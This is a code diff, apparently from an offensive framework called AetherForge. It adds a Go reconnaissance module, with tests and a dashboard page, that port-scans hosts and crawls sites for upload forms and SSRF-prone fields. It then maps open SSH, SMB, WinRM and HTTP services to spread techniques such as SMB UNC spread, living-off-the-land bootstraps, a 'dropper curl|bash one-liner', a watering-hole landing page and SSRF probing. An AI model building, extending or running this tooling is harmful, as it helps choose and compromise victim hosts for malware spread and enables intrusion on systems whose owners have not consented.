+ if item.depth >= DefaultCrawlDepth {
+ continue
+ }
+ for _, link := range extractLinks(body) {
+ abs, err := resolveSameOrigin(base, link)
+ if err != nil {
+ continue
+ }
+ if !sameOrigin(base, abs) {
+ continue
+ }
+ lkey := normalizeURLKey(abs)
+ if !visited[lkey] {
+ queue = append(queue, queuedURL{url: abs, depth: item.depth + 1})
+ }
+ }
+ }
+
+ if report.SSRFScore > 100 {
+ report.SSRFScore = 100
+ }
+ report.CMSFingerprints = mergeCMS(nil, report.CMSFingerprints)
+ return report, nil
+}
+
+type queuedURL struct {
+ url string
+ depth int
+}
+
+func fetchPage(rawURL string) (int, string, error) {
+ if fetchPageFn != nil {
+ return fetchPageFn(rawURL)
+ }
+ client := &http.Client{Timeout: DefaultPortDialTimeout}
+ req, err := http.NewRequest(http.MethodGet, rawURL, nil)
+ if err != nil {
+ return 0, "", err
+ }
+ req.Header.Set("User-Agent", "AetherForge-Recon/1.0")
+ resp, err := client.Do(req)
+ if err != nil {
+ return 0, "", err
+ }
+ defer resp.Body.Close()
+ body, err := readBodyLimited(resp.Body, maxHTMLBytes)
+ if err != nil {
+ return resp.StatusCode, "", err
+ }
+ return resp.StatusCode, body, nil
+}
+
+func normalizeScheme(scheme string, port int) string {
+ scheme = strings.ToLower(strings.TrimSpace(scheme))
+ switch scheme {
+ case "http", "https":
+ return scheme
+ }
+ if port == 443 || port == 8443 {
+ return "https"
+ }
+ return "http"
+}
+
+func defaultPortForScheme(scheme string) int {
+ if scheme == "https" {
+ return 443
+ }
+ return 80
+}
+
+func joinHostPort(host string, port int) string {
+ if strings.Contains(host, ":") {
+ return host
+ }
+ return fmt.Sprintf("%s:%d", host, port)
+}
+
+func resolveSameOrigin(base, ref string) (string, error) {
+ baseURL, err := url.Parse(base)
+ if err != nil {
+ return "", err
+ }
+ ref = strings.TrimSpace(ref)
+ if ref == "" {
+ return baseURL.String(), nil
+ }
+ refURL, err := url.Parse(ref)
+ if err != nil {
+ return "", err
+ }
+ return baseURL.ResolveReference(refURL).String(), nil
+}
+
+func sameOrigin(base, target string) bool {
+ b, err := url.Parse(base)
+ if err != nil {
+ return false
+ }
+ t, err := url.Parse(target)
+ if err != nil {
+ return false
+ }
+ return strings.EqualFold(b.Scheme, t.Scheme) &&
+ strings.EqualFold(b.Hostname(), t.Hostname()) &&
+ b.Port() == t.Port()
+}
+
+func normalizeURLKey(raw string) string {
+ u, err := url.Parse(raw)
+ if err != nil {
+ return strings.ToLower(strings.TrimSpace(raw))
+ }
+ u.Fragment = ""
+ return strings.ToLower(u.String())
+}
+
+func extractLinks(body string) []string {
+ root, err := htmlParseRoot(body)
+ if err != nil {
+ return nil
+ }
+ var links []string
+ var walk func(*htmlNode)
+ walk = func(n *htmlNode) {
+ if n.tag == "a" {
+ if href := n.attr("href"); href != "" && !strings.HasPrefix(strings.ToLower(href), "javascript:") {
+ links = append(links, href)
+ }
+ }
+ for _, c := range n.children {
+ walk(c)
+ }
+ }
+ walk(root)
+ return links
+}
+
+func mergeCMS(existing, add []string) []string {
+ seen := map[string]bool{}
+ for _, tag := range existing {
+ seen[tag] = true
+ }
+ var out []string
+ out = append(out, existing...)
+ for _, tag := range add {
+ if tag == "" || seen[tag] {
+ continue
+ }
+ seen[tag] = true
+ out = append(out, tag)
+ }
+ return out
+}
+
+// htmlParseRoot and htmlParseTitle are thin wrappers to avoid exporting html types in tests.
+func htmlParseRoot(body string) (*htmlNode, error) {
+ root, err := parseHTMLTree(body)
+ if err != nil {
+ return nil, err
+ }
+ return toHTMLNode(root), nil
+}
+
+func htmlParseTitle(body string) (string, error) {
+ root, err := parseHTMLTree(body)
+ if err != nil {
+ return "", err
+ }
+ return extractTitle(root), nil
+}
diff --git a/server/internal/recon/hooks.go b/server/internal/recon/hooks.go
new file mode 100644
index 0000000..029be69
--- /dev/null
+++ b/server/internal/recon/hooks.go
@@ -0,0 +1,13 @@
+package recon
+
+import "time"
+
+// SetPortDialHook installs a test hook for TCP dials; pass nil to restore live dials.
+func SetPortDialHook(fn func(host string, port int, timeout time.Duration) bool) {
+ dialPortFn = fn
+}
+
+// SetFetchPageHook installs a test hook for HTTP fetches; pass nil to restore live GETs.
+func SetFetchPageHook(fn func(rawURL string) (status int, body string, err error)) {
+ fetchPageFn = fn
+}
diff --git a/server/internal/recon/html_tree.go b/server/internal/recon/html_tree.go
new file mode 100644
index 0000000..d45d78a
--- /dev/null
+++ b/server/internal/recon/html_tree.go
@@ -0,0 +1,40 @@
+package recon
+
+import (
+ "strings"
+
+ "golang.org/x/net/html"
+)
+
+type htmlNode struct {
+ tag string
+ attrs map[string]string
+ children []*htmlNode
+}
+
+func (n *htmlNode) attr(key string) string {
+ if n == nil || n.attrs == nil {
+ return ""
+ }
+ return n.attrs[key]
+}
+
+func parseHTMLTree(body string) (*html.Node, error) {
+ return html.Parse(strings.NewReader(body))
+}
+
+func toHTMLNode(n *html.Node) *htmlNode {
+ if n == nil {
+ return nil
+ }
+ out := &htmlNode{tag: n.Data, attrs: map[string]string{}}
+ for _, a := range n.Attr {
+ out.attrs[a.Key] = a.Val
+ }
+ for c := n.FirstChild; c != nil; c = c.NextSibling {
+ if child := toHTMLNode(c); child != nil {
+ out.children = append(out.children, child)
+ }
+ }
+ return out
+}
diff --git a/server/internal/recon/parse.go b/server/internal/recon/parse.go
new file mode 100644
index 0000000..3e80ecb
--- /dev/null
+++ b/server/internal/recon/parse.go
@@ -0,0 +1,219 @@
+package recon
+
+import (
+ "bytes"
+ "io"
+ "strings"
+
+ "golang.org/x/net/html"
+)
+
+var urlFieldHints = []string{
+ "url", "link", "preview", "webhook", "fetch", "import", "oembed", "image",
+}
+
+var cmsPathMarkers = []struct {
+ path string
+ tag string
+}{
+ {"/wp-admin", "wordpress"},
+ {"/wp-content", "wordpress"},
+ {"/strapi", "strapi"},
+ {"/graphql", "graphql"},
+ {"/admin/login", "admin_login"},
+}
+
+// ParseHTML extracts upload forms, URL fields, SSRF score, and CMS hints from HTML.
+func ParseHTML(pageURL, body string) (fileInputs, multipart []FormFinding, urlFields []URLFieldFinding, ssrfScore int, cms []string) {
+ root, err := html.Parse(strings.NewReader(body))
+ if err != nil {
+ return nil, nil, nil, 0, cmsFromText(pageURL, body)
+ }
+ title := extractTitle(root)
+ _ = title
+
+ var walk func(*html.Node)
+ walk = func(n *html.Node) {
+ if n.Type == html.ElementNode && n.Data == "form" {
+ form := parseForm(pageURL, n)
+ if form.HasFile {
+ fileInputs = append(fileInputs, form)
+ }
+ if form.Multipart {
+ multipart = append(multipart, form)
+ }
+ ssrfScore += scoreForm(form)
+ }
+ if n.Type == html.ElementNode && n.Data == "input" {
+ if field := parseURLField(pageURL, n); field != nil {
+ urlFields = append(urlFields, *field)
+ ssrfScore += 10
+ }
+ }
+ if n.Type == html.ElementNode && (n.Data == "textarea" || n.Data == "select") {
+ if field := parseURLFieldFromNamed(pageURL, attr(n, "name"), attr(n, "id"), attr(n, "placeholder")); field != nil {
+ urlFields = append(urlFields, *field)
+ ssrfScore += 8
+ }
+ }
+ for c := n.FirstChild; c != nil; c = c.NextSibling {
+ walk(c)
+ }
+ }
+ walk(root)
+
+ cms = cmsFromText(pageURL, body)
+ if ssrfScore > 100 {
+ ssrfScore = 100
+ }
+ return fileInputs, multipart, urlFields, ssrfScore, cms
+}
+
+func parseForm(pageURL string, form *html.Node) FormFinding {
+ f := FormFinding{
+ PageURL: pageURL,
+ Action: attr(form, "action"),
+ Method: strings.ToLower(attr(form, "method")),
+ Enctype: strings.ToLower(attr(form, "enctype")),
+ }
+ if f.Method == "" {
+ f.Method = "get"
+ }
+ if strings.Contains(f.Enctype, "multipart") {
+ f.Multipart = true
+ }
+ for c := form.FirstChild; c != nil; c = c.NextSibling {
+ collectFormFields(c, &f)
+ }
+ return f
+}
+
+func collectFormFields(n *html.Node, f *FormFinding) {
+ if n.Type == html.ElementNode {
+ switch n.Data {
+ case "input", "textarea", "select":
+ name := attr(n, "name")
+ if name != "" {
+ f.Fields = append(f.Fields, name)
+ }
+ if n.Data == "input" && strings.EqualFold(attr(n, "type"), "file") {
+ f.HasFile = true
+ f.Multipart = true
+ }
+ if field := parseURLField(f.PageURL, n); field != nil {
+ f.Fields = append(f.Fields, field.Name+"("+field.Hint+")")
+ }
+ }
+ }
+ for c := n.FirstChild; c != nil; c = c.NextSibling {
+ collectFormFields(c, f)
+ }
+}
+
+func parseURLField(pageURL string, n *html.Node) *URLFieldFinding {
+ name := attr(n, "name")
+ id := attr(n, "id")
+ placeholder := attr(n, "placeholder")
+ return parseURLFieldFromNamed(pageURL, name, id, placeholder)
+}
+
+func parseURLFieldFromNamed(pageURL, name, id, placeholder string) *URLFieldFinding {
+ joined := strings.ToLower(strings.Join([]string{name, id, placeholder}, " "))
+ for _, hint := range urlFieldHints {
+ if strings.Contains(joined, hint) {
+ label := name
+ if label == "" {
+ label = id
+ }
+ return &URLFieldFinding{
+ PageURL: pageURL,
+ Name: label,
+ Type: "text",
+ Hint: hint,
+ }
+ }
+ }
+ return nil
+}
+
+func scoreForm(f FormFinding) int {
+ score := 0
+ action := strings.ToLower(f.Action)
+ for _, hint := range urlFieldHints {
+ if strings.Contains(action, hint) {
+ score += 15
+ }
+ }
+ for _, field := range f.Fields {
+ lower := strings.ToLower(field)
+ for _, hint := range urlFieldHints {
+ if strings.Contains(lower, hint) {
+ score += 5
+ }
+ }
+ }
+ if f.HasFile {
+ score += 5
+ }
+ return score
+}
+
+func cmsFromText(pageURL, body string) []string {
+ seen := map[string]bool{}
+ var out []string
+ lowerURL := strings.ToLower(pageURL)
+ lowerBody := strings.ToLower(body)
+ add := func(tag string) {
+ if tag == "" || seen[tag] {
+ return
+ }
+ seen[tag] = true
+ out = append(out, tag)
+ }
+ for _, marker := range cmsPathMarkers {
+ if strings.Contains(lowerURL, marker.path) || strings.Contains(lowerBody, marker.path) {
+ add(marker.tag)
+ }
+ }
+ if strings.Contains(lowerBody, "strapi") {
+ add("strapi")
+ }
+ if strings.Contains(lowerBody, "wp-content") || strings.Contains(lowerBody, "wordpress") {
+ add("wordpress")
+ }
+ return out
+}
+
+func extractTitle(root *html.Node) string {
+ var title string
+ var walk func(*html.Node)
+ walk = func(n *html.Node) {
+ if n.Type == html.ElementNode && n.Data == "title" && n.FirstChild != nil {
+ title = strings.TrimSpace(n.FirstChild.Data)
+ return
+ }
+ for c := n.FirstChild; c != nil; c = c.NextSibling {
+ walk(c)
+ }
+ }
+ walk(root)
+ return title
+}
+
+func attr(n *html.Node, key string) string {
+ for _, a := range n.Attr {
+ if a.Key == key {
+ return a.Val
+ }
+ }
+ return ""
+}
+
+func readBodyLimited(r io.Reader, max int64) (string, error) {
+ buf := new(bytes.Buffer)
+ _, err := io.Copy(buf, io.LimitReader(r, max))
+ if err != nil {
+ return "", err
+ }
+ return buf.String(), nil
+}
diff --git a/server/internal/recon/portscan.go b/server/internal/recon/portscan.go
new file mode 100644
index 0000000..2162070
--- /dev/null
+++ b/server/internal/recon/portscan.go
@@ -0,0 +1,32 @@
+package recon
+
+import (
+ "net"
+ "strconv"
+ "time"
+)
+
+// dialPortFn overrides TCP probes in tests (nil = live dial from server host).
+var dialPortFn func(host string, port int, timeout time.Duration) bool
+
+// ScanPorts TCP-dials common fleet ports on host with timeout from server host.
+func ScanPorts(host string) []PortResult {
+ out := make([]PortResult, 0, len(FleetPorts))
+ for _, port := range FleetPorts {
+ out = append(out, PortResult{Port: port, Open: dialPort(host, port, DefaultPortDialTimeout)})
+ }
+ return out
+}
+
+func dialPort(host string, port int, timeout time.Duration) bool {
+ if dialPortFn != nil {
+ return dialPortFn(host, port, timeout)
+ }
+ addr := net.JoinHostPort(host, strconv.Itoa(port))
+ conn, err := net.DialTimeout("tcp", addr, timeout)
+ if err != nil {
+ return false
+ }
+ _ = conn.Close()
+ return true
+}
diff --git a/server/internal/recon/recon_test.go b/server/internal/recon/recon_test.go
new file mode 100644
index 0000000..81b63d4
--- /dev/null
+++ b/server/internal/recon/recon_test.go
@@ -0,0 +1,186 @@
+package recon
+
+import (
+ "encoding/json"
+ "net/http"
+ "net/http/httptest"
+ "net/url"
+ "strings"
+ "testing"
+ "time"
+)
+
+func TestScanPortsWithInject(t *testing.T) {
+ SetPortDialHook(func(host string, port int, _ time.Duration) bool {
+ if host != "10.0.0.5" {
+ t.Fatalf("host=%q", host)
+ }
+ return port == 22 || port == 443
+ })
+ t.Cleanup(func() { SetPortDialHook(nil) })
+ results := ScanPorts("10.0.0.5")
+ open := map[int]bool{}
+ for _, r := range results {
+ if r.Open {
+ open[r.Port] = true
+ }
+ }
+ if !open[22] || !open[443] {
+ t.Fatalf("open=%v", open)
+ }
+ if open[445] {
+ t.Fatal("445 should be closed")
+ }
+}
+
+func TestParseHTMLFixtures(t *testing.T) {
+ body := `Upload
+
+Admin
+
+`
+ files, multi, fields, score, cms := ParseHTML("http://lab/upload", body)
+ if len(files) != 1 || !files[0].HasFile {
+ t.Fatalf("file inputs: %+v", files)
+ }
+ if len(multi) != 1 || !multi[0].Multipart {
+ t.Fatalf("multipart: %+v", multi)
+ }
+ if len(fields) == 0 {
+ t.Fatal("expected url fields")
+ }
+ if score < 10 {
+ t.Fatalf("ssrf score=%d", score)
+ }
+ if !containsStr(cms, "wordpress") && !containsStr(cms, "admin_login") {
+ t.Fatalf("cms=%v", cms)
+ }
+}
+
+func TestCrawlSameOriginDepth(t *testing.T) {
+ srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ switch r.URL.Path {
+ case "/":
+ w.Write([]byte(`nextoff`))
+ case "/page2":
+ w.Write([]byte(`deep`))
+ case "/page3":
+ w.Write([]byte(`leaf`))
+ default:
+ http.NotFound(w, r)
+ }
+ }))
+ defer srv.Close()
+
+ u, err := url.Parse(srv.URL)
+ if err != nil {
+ t.Fatal(err)
+ }
+ port := 80
+ if p := u.Port(); p != "" {
+ port = atoi(p)
+ }
+
+ SetFetchPageHook(func(rawURL string) (int, string, error) {
+ resp, err := http.Get(rawURL)
+ if err != nil {
+ return 0, "", err
+ }
+ defer resp.Body.Close()
+ body, _ := readBodyLimited(resp.Body, maxHTMLBytes)
+ return resp.StatusCode, body, nil
+ })
+ t.Cleanup(func() { SetFetchPageHook(nil) })
+
+ report, err := Crawl(u.Hostname(), port, u.Scheme, []string{"/"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if report.PagesFetched < 2 {
+ t.Fatalf("pages=%d", report.PagesFetched)
+ }
+ for _, p := range report.Pages {
+ if strings.Contains(p.URL, "evil.example") {
+ t.Fatalf("followed off-origin %s", p.URL)
+ }
+ }
+}
+
+func TestScanReportRecommendations(t *testing.T) {
+ ports := []PortResult{
+ {Port: 22, Open: true},
+ {Port: 5985, Open: true},
+ {Port: 80, Open: true},
+ }
+ crawl := &CrawlReport{
+ MultipartForms: []FormFinding{{PageURL: "http://x/", Multipart: true}},
+ SSRFScore: 40,
+ }
+ recs := BuildRecommendations(ports, crawl)
+ if len(recs) < 5 {
+ t.Fatalf("recs=%+v", recs)
+ }
+ keys := map[string]bool{}
+ for _, r := range recs {
+ keys[r.Lane+"|"+r.Template] = true
+ }
+ for _, want := range []string{"linux_lotl|linux-lotl", "winrm|winrm", "bits_curl|", "stage_fetch|", "|ssrf_probe", "|public_waterhole"} {
+ if !keys[want] {
+ t.Fatalf("missing %q in %+v", want, recs)
+ }
+ }
+}
+
+func TestScanOwnedTarget(t *testing.T) {
+ SetPortDialHook(func(host string, port int, _ time.Duration) bool {
+ return port == 80
+ })
+ t.Cleanup(func() { SetPortDialHook(nil) })
+ SetFetchPageHook(func(rawURL string) (int, string, error) {
+ return 200, ``, nil
+ })
+ t.Cleanup(func() { SetFetchPageHook(nil) })
+ report, err := Scan(ScanRequest{Host: "owned.lab", Port: 80, Scheme: "http"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if report.Host != "owned.lab" {
+ t.Fatalf("host=%q", report.Host)
+ }
+ if report.Crawl == nil || len(report.Recommendations) == 0 {
+ raw, _ := json.Marshal(report)
+ t.Fatalf("report=%s", raw)
+ }
+}
+
+func TestNormalizeOwnedHostRejectsEmpty(t *testing.T) {
+ if _, err := Scan(ScanRequest{}); err == nil {
+ t.Fatal("expected error")
+ }
+}
+
+func containsStr(list []string, want string) bool {
+ for _, s := range list {
+ if s == want {
+ return true
+ }
+ }
+ return false
+}
+
+func atoi(s string) int {
+ n := 0
+ for _, c := range s {
+ if c < '0' || c > '9' {
+ return 80
+ }
+ n = n*10 + int(c-'0')
+ }
+ if n == 0 {
+ return 80
+ }
+ return n
+}
diff --git a/server/internal/recon/scan.go b/server/internal/recon/scan.go
new file mode 100644
index 0000000..70424cd
--- /dev/null
+++ b/server/internal/recon/scan.go
@@ -0,0 +1,152 @@
+package recon
+
+import (
+ "fmt"
+ "net"
+ "strings"
+ "time"
+)
+
+// Scan runs port scan and optional web crawl for an operator-supplied owned target.
+func Scan(req ScanRequest) (*ScanReport, error) {
+ host, err := normalizeOwnedHost(req.Host)
+ if err != nil {
+ return nil, err
+ }
+ ports := ScanPorts(host)
+ report := &ScanReport{
+ Host: host,
+ ScannedAt: time.Now().UTC(),
+ Ports: ports,
+ }
+
+ if shouldCrawl(req, ports) {
+ crawl, err := Crawl(host, req.Port, req.Scheme, req.Paths)
+ if err == nil && crawl != nil {
+ report.Crawl = crawl
+ }
+ }
+ report.Recommendations = BuildRecommendations(ports, report.Crawl)
+ return report, nil
+}
+
+func normalizeOwnedHost(host string) (string, error) {
+ host = strings.TrimSpace(host)
+ if host == "" {
+ return "", fmt.Errorf("host required")
+ }
+ host = strings.TrimPrefix(host, "http://")
+ host = strings.TrimPrefix(host, "https://")
+ if i := strings.Index(host, "/"); i >= 0 {
+ host = host[:i]
+ }
+ if h, p, err := net.SplitHostPort(host); err == nil {
+ if strings.TrimSpace(h) == "" {
+ return "", fmt.Errorf("invalid host")
+ }
+ _ = p
+ host = h
+ }
+ if ip := net.ParseIP(host); ip != nil {
+ return ip.String(), nil
+ }
+ if len(host) > 253 || strings.Contains(host, " ") {
+ return "", fmt.Errorf("invalid host")
+ }
+ return strings.ToLower(host), nil
+}
+
+func shouldCrawl(req ScanRequest, ports []PortResult) bool {
+ if req.Port > 0 || strings.TrimSpace(req.Scheme) != "" || len(req.Paths) > 0 {
+ return true
+ }
+ for _, p := range ports {
+ switch p.Port {
+ case 80, 443, 8080, 8443:
+ if p.Open {
+ return true
+ }
+ }
+ }
+ return false
+}
+
+// BuildRecommendations maps port and crawl findings to existing deploy lanes/templates.
+func BuildRecommendations(ports []PortResult, crawl *CrawlReport) []DeployRecommendation {
+ var recs []DeployRecommendation
+ open := map[int]bool{}
+ for _, p := range ports {
+ if p.Open {
+ open[p.Port] = true
+ }
+ }
+
+ if open[22] {
+ recs = append(recs, DeployRecommendation{
+ Lane: "linux_lotl",
+ Template: "linux-lotl",
+ Reason: "TCP 22 open — SSH LOTL bootstrap",
+ Priority: 25,
+ })
+ }
+ if open[445] {
+ recs = append(recs, DeployRecommendation{
+ Lane: "spread_smb_unc",
+ Reason: "TCP 445 open — SMB UNC spread",
+ Priority: 50,
+ })
+ }
+ if open[5985] || open[5986] {
+ recs = append(recs, DeployRecommendation{
+ Lane: "winrm",
+ Template: "winrm",
+ Reason: "TCP 5985/5986 open — WinRM bootstrap",
+ Priority: 30,
+ })
+ }
+ if open[80] || open[443] || open[8080] || open[8443] {
+ recs = append(recs, DeployRecommendation{
+ Lane: "bits_curl",
+ Reason: "HTTP surface open — dropper curl|bash one-liner",
+ Priority: 20,
+ })
+ recs = append(recs, DeployRecommendation{
+ Template: "public_waterhole",
+ Reason: "HTTP surface open — copy /spread/ public waterhole landing",
+ Priority: 15,
+ })
+ }
+
+ if crawl != nil {
+ if len(crawl.FileInputs) > 0 || len(crawl.MultipartForms) > 0 {
+ recs = append(recs, DeployRecommendation{
+ Lane: "stage_fetch",
+ Reason: "Multipart or file-upload form — stage_fetch manifest staging",
+ Priority: 35,
+ })
+ }
+ if crawl.SSRFScore >= 30 {
+ recs = append(recs, DeployRecommendation{
+ Template: "ssrf_probe",
+ Reason: fmt.Sprintf("SSRF candidate score %d — probe URL/webhook fields", crawl.SSRFScore),
+ Priority: 45,
+ })
+ }
+ }
+
+ return dedupeRecommendations(recs)
+}
+
+func dedupeRecommendations(in []DeployRecommendation) []DeployRecommendation {
+ seen := map[string]bool{}
+ var out []DeployRecommendation
+ for _, r := range in {
+ key := r.Lane + "|" + r.Template
+ if seen[key] {
+ continue
+ }
+ seen[key] = true
+ out = append(out, r)
+ }
+ return out
+}
diff --git a/server/internal/recon/types.go b/server/internal/recon/types.go
new file mode 100644
index 0000000..b1a1598
--- /dev/null
+++ b/server/internal/recon/types.go
@@ -0,0 +1,80 @@
+package recon
+
+import "time"
+
+// FleetPorts are TCP ports probed during browser-deploy recon.
+var FleetPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 6262, 8080, 8443}
+
+const (
+ DefaultPortDialTimeout = 2 * time.Second
+ DefaultCrawlDepth = 2
+ DefaultCrawlMaxPages = 50
+)
+
+// ScanRequest is operator-supplied owned-target input.
+type ScanRequest struct {
+ Host string `json:"host"`
+ Port int `json:"port,omitempty"`
+ Scheme string `json:"scheme,omitempty"`
+ Paths []string `json:"paths,omitempty"`
+}
+
+// PortResult is one TCP dial outcome.
+type PortResult struct {
+ Port int `json:"port"`
+ Open bool `json:"open"`
+}
+
+// FormFinding describes an HTML form of interest.
+type FormFinding struct {
+ PageURL string `json:"page_url"`
+ Action string `json:"action,omitempty"`
+ Method string `json:"method,omitempty"`
+ Enctype string `json:"enctype,omitempty"`
+ Fields []string `json:"fields,omitempty"`
+ HasFile bool `json:"has_file_input,omitempty"`
+ Multipart bool `json:"multipart,omitempty"`
+}
+
+// URLFieldFinding is an input/textarea whose name or label hints URL fetch behavior.
+type URLFieldFinding struct {
+ PageURL string `json:"page_url"`
+ Name string `json:"name"`
+ Type string `json:"type,omitempty"`
+ Hint string `json:"hint"`
+}
+
+// PageFinding summarizes one crawled page.
+type PageFinding struct {
+ URL string `json:"url"`
+ StatusCode int `json:"status_code"`
+ Title string `json:"title,omitempty"`
+}
+
+// CrawlReport aggregates web surface findings.
+type CrawlReport struct {
+ PagesFetched int `json:"pages_fetched"`
+ Pages []PageFinding `json:"pages,omitempty"`
+ FileInputs []FormFinding `json:"file_inputs,omitempty"`
+ MultipartForms []FormFinding `json:"multipart_forms,omitempty"`
+ URLFields []URLFieldFinding `json:"url_fields,omitempty"`
+ SSRFScore int `json:"ssrf_score"`
+ CMSFingerprints []string `json:"cms_fingerprints,omitempty"`
+}
+
+// DeployRecommendation maps recon findings to an existing spread/deploy lane or template.
+type DeployRecommendation struct {
+ Lane string `json:"lane,omitempty"`
+ Template string `json:"template,omitempty"`
+ Reason string `json:"reason"`
+ Priority int `json:"priority"`
+}
+
+// ScanReport is the full owned-target recon payload returned by POST /api/v1/recon/scan.
+type ScanReport struct {
+ Host string `json:"host"`
+ ScannedAt time.Time `json:"scanned_at"`
+ Ports []PortResult `json:"ports"`
+ Crawl *CrawlReport `json:"crawl,omitempty"`
+ Recommendations []DeployRecommendation `json:"recommendations,omitempty"`
+}
diff --git a/server/main.go b/server/main.go
index f7438bf..23aea92 100644
--- a/server/main.go
+++ b/server/main.go
@@ -351,6 +351,9 @@ func main() {
func() string { return cfg.Server.PolicySnapshotToken },
)
spreadHandler.BindPolicyFanout(pathTracerHandler, policyFanoutCfgFn)
+ spreadHandler.BindDeployPlan(deployPlanHandler, func() string { return configProvider.PublicURL() }, func() map[string]api.ServiceDeployLane {
+ return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist)
+ })
wsHub.SetPolicyFanoutConfig(cfg.Server.PolicySnapshotToken, cfg.Server.EventBridgeRelayURL, func() string {
return configProvider.PublicURL()
})
diff --git a/server/web/e2e/deploy-recon.spec.ts b/server/web/e2e/deploy-recon.spec.ts
new file mode 100644
index 0000000..a634209
--- /dev/null
+++ b/server/web/e2e/deploy-recon.spec.ts
@@ -0,0 +1,51 @@
+import { expect, test } from '@playwright/test';
+import { loginToDashboard } from './fixtures';
+
+const MOCK_REPORT = {
+ host: 'e2e-recon.lab',
+ scanned_at: '2026-06-07T12:00:00Z',
+ ports: [
+ { port: 22, open: false },
+ { port: 80, open: true },
+ { port: 445, open: true },
+ { port: 5985, open: false },
+ ],
+ crawl: {
+ pages_fetched: 1,
+ ssrf_score: 35,
+ url_fields: [{ page_url: 'http://e2e-recon.lab/', name: 'fetch_url', hint: 'url' }],
+ cms_fingerprints: ['wordpress'],
+ multipart_forms: [],
+ },
+ recommendations: [{ lane: 'spread_smb_unc', reason: 'SMB open', priority: 50 }],
+};
+
+test.describe('Deploy Recon smoke', () => {
+ test.beforeEach(async ({ page }) => {
+ await page.route('**/api/v1/recon/scan', async (route) => {
+ await route.fulfill({ json: MOCK_REPORT });
+ });
+ await loginToDashboard(page);
+ await page.goto('/deploy-recon');
+ await expect(page.getByRole('heading', { level: 1, name: /Deploy Recon/i })).toBeVisible({
+ timeout: 10_000,
+ });
+ });
+
+ test('sidebar link and scan results render', async ({ page }) => {
+ await page.getByTestId('dr-host-input').fill('e2e-recon.lab');
+ await page.getByTestId('dr-scan-btn').click();
+ await expect(page.getByTestId('dr-results')).toBeVisible({ timeout: 10_000 });
+ await expect(page.getByTestId('dr-port-matrix')).toBeVisible();
+ await expect(page.getByTestId('dr-finding-ssrf')).toBeVisible();
+ await expect(page.getByRole('link', { name: /Fleet spread to e2e-recon\.lab/i })).toBeVisible();
+ });
+
+ test('/browser-spread alias redirects to deploy recon', async ({ page }) => {
+ await page.goto('/browser-spread');
+ await expect(page).toHaveURL(/\/deploy-recon/);
+ await expect(page.getByRole('heading', { level: 1, name: /Deploy Recon/i })).toBeVisible({
+ timeout: 10_000,
+ });
+ });
+});
diff --git a/server/web/e2e/fixtures.ts b/server/web/e2e/fixtures.ts
index d9f1d39..7a221ee 100644
--- a/server/web/e2e/fixtures.ts
+++ b/server/web/e2e/fixtures.ts
@@ -78,15 +78,22 @@ export async function expectOnlineCrucibleCard(page: Page, hostname: string): Pr
export async function loginToDashboard(page: Page): Promise {
const commandDeck = page.getByRole('heading', { name: 'Command Deck' });
+ const loginHeading = page.getByRole('heading', { name: 'AetherForge' });
for (let attempt = 0; attempt < 3; attempt++) {
- await page.goto('/', { waitUntil: 'domcontentloaded', timeout: 30_000 });
+ await page.goto('/', { waitUntil: 'load', timeout: 30_000 });
+
+ if (await page.getByText('No frontend configured').isVisible().catch(() => false)) {
+ throw new Error(
+ 'Dashboard SPA missing — run `npm run build` in server/web (webroot must exist before phase 8)',
+ );
+ }
+
+ await page.locator('#root').waitFor({ state: 'attached', timeout: 15_000 }).catch(() => {});
if (await commandDeck.isVisible().catch(() => false)) {
return;
}
-
- const loginHeading = page.getByRole('heading', { name: 'AetherForge' });
try {
await expect(loginHeading).toBeVisible({ timeout: 25_000 });
} catch (err) {
diff --git a/server/web/e2e/pages.spec.ts b/server/web/e2e/pages.spec.ts
index 3bea7d3..9e49c0a 100644
--- a/server/web/e2e/pages.spec.ts
+++ b/server/web/e2e/pages.spec.ts
@@ -48,4 +48,43 @@ test.describe('Page smoke', () => {
await expect(page.getByRole('heading', { name: 'Quick Forge' })).toBeVisible();
await expect(page.locator('.forge-mode-toggle').getByRole('button', { name: 'Simple', exact: true }).first()).toBeVisible();
});
+
+ test('Deploy Recon renders scan form', async ({ page }) => {
+ await page.goto('/deploy-recon');
+ await expect(page.getByRole('heading', { level: 1, name: /Deploy Recon/i })).toBeVisible({
+ timeout: 10_000,
+ });
+ await expect(page.getByTestId('dr-scan-btn')).toBeVisible();
+ });
+
+ test('Emberwake Cloud Ecosystem panel expands', async ({ page }) => {
+ await page.goto('/emberwake');
+ await expect(page.getByRole('heading', { level: 1, name: /Emberwake/i })).toBeVisible({ timeout: 10_000 });
+ await page.getByText('Cloud ecosystem').click();
+ await expect(page.getByTestId('cloud-spread-panel')).toBeVisible({ timeout: 10_000 });
+ await expect(page.getByTestId('cloud-method-s3-cloudfront')).toBeVisible();
+ await expect(page.getByTestId('cloud-method-minio')).toBeVisible();
+ await expect(page.getByText('AWS ecosystem')).toBeVisible();
+ });
+
+ test('Seer page is read-only stream', async ({ page }) => {
+ await page.goto('/seer');
+ await expect(page.getByRole('heading', { name: /The Seer/i })).toBeVisible({ timeout: 10_000 });
+ await expect(page.getByText(/FLEET AI STREAM/i)).toBeVisible();
+ await expect(page.getByText(/SEER NOTES/i)).toBeVisible();
+ await expect(page.getByRole('link', { name: /Oath Ledger/i })).toBeVisible();
+ await expect(page.getByRole('textbox')).toHaveCount(0);
+ await expect(page.getByRole('searchbox')).toHaveCount(0);
+ });
+
+ test('Oath ledger renders accountability table', async ({ page }) => {
+ await page.goto('/oath');
+ await expect(page.getByRole('heading', { name: /Operator Oath Ledger/i })).toBeVisible({
+ timeout: 10_000,
+ });
+ await expect(page.getByRole('columnheader', { name: 'Time' })).toBeVisible();
+ await expect(page.getByRole('columnheader', { name: 'Action' })).toBeVisible();
+ await expect(page.getByRole('link', { name: /Seer reasoning/i })).toBeVisible();
+ await expect(page.getByText(/No oath rows yet|Loading…/)).toBeVisible({ timeout: 15_000 });
+ });
});
diff --git a/server/web/src/App.tsx b/server/web/src/App.tsx
index 7adc184..a76d0d5 100644
--- a/server/web/src/App.tsx
+++ b/server/web/src/App.tsx
@@ -26,6 +26,7 @@ const ROIPage = lazy(() => import('./pages/ROIPage'));
const ActivityFeedPage = lazy(() => import('./pages/ActivityFeedPage'));
const SeerPage = lazy(() => import('./pages/SeerPage'));
const OathLedgerPage = lazy(() => import('./pages/OathLedgerPage'));
